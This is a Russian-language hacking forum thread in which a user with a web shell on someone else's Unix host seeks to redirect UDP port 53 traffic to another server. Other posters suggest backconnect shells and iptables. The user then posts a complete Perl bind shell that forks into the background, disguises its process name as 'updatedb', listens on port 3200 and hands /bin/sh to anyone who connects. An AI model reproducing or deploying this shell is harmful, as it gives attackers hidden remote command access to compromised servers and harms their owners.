есть цель - форвардить(редиректить) UDP запросы с 53ого порта на айпишнике шелла на мной выбранный порт на другой айпишник. операционка шелла ЮНИКС(с Виндоус уже разобрался - для моей задачи есть програмули fpipe и udppm) подскажите, пожалуйста, кто в курсе как и какой командой это можно сделать. пробовал юзать datapipe.pl но он походу редиректит только TCP пробовал udpipe.c но не получается его запустить. всем кто сможет помочь - заранее большое спасибо !
ShadOS спешит мне на помощь. это радует. ошибки писало при компиляции. либо вообще просто пустота после запуска команды gcc (использую madshell.php) думаю, либо прав не хватает, либо какие-то ограничения на хосте - все-таки шелл есть шелл. пришел к выводу что все-таки надо юзать Перл. слегка модифицировал datapipe.pl на одном хосте заработало. но потом почему-то хостинг ушел в даун на 6 часов. после этого уже не работает. я открывал 53порт на UDP - это ДНС сервер. наверное что-то накосячило либо не так модифицировал Datapipe.pl... буду дальше химичить.. да.. iptables - не запускается - пустота в ответ на команду.
Давай начнём с того, что тебе необходимо завести нормальный backconnect-шелл. Вот увидишь половину проблем (если не все) сразу решатся. Всё дело в отсутствии нормального интерпретатора командной оболочки (возможно).
Вообще-то, если у тебя нет прав root, то никак ты с 53-его порта не сможешь сделать редирект. А так в зависимости от ОС iptables/ipfw.
ShadOS, глянь плиз http://forum.antichat.ru/thread17581-gcc.html попробую в соответствии с этой статьей запустить коннект-бак шелл. хотя чтото мне подсказывает что не получится раз уж udpipe.c не запускался... fuckerok, через .pl запускаются и TCP порт редиректы и даже сокс на шеллах, при чем права простого юзера. а вот с UDP проблемы... а для .с видимо да... нужны права рута.. потому и не получается у меня нормально запустить..
такс, я немножко продвигаюсь. дело в том что все что я писал ранее я делал через madshell.php = веб-шелл. теперь залил bind.pl даже не надо конект-бака - открыло порт без проблем буду пробовать дальше. ***************** #!/usr/bin/perl $port = 3200; $port = $ARGV[0] if $ARGV[0]; exit if fork; $0 = "updatedb" . " " x100; $SIG{CHLD} = 'IGNORE'; use Socket; socket(S, PF_INET, SOCK_STREAM, 0); setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1); bind(S, sockaddr_in($port, INADDR_ANY)); listen(S, 50); while(1) { accept(X, S); unless(fork) { open STDIN, "<&X"; open STDOUT, ">&X"; open STDERR, ">&X"; close X; exec("/bin/sh"); } close X; } ******************
По первому посту выглядит, что тебе udpipe.c надо скомпилировать сперва, например: make udpipe в той же папке,где наxодится udpipe.c, или лучше: gcc udpipe.c -o udpipe и запустить ./udpipe <желаемый порт>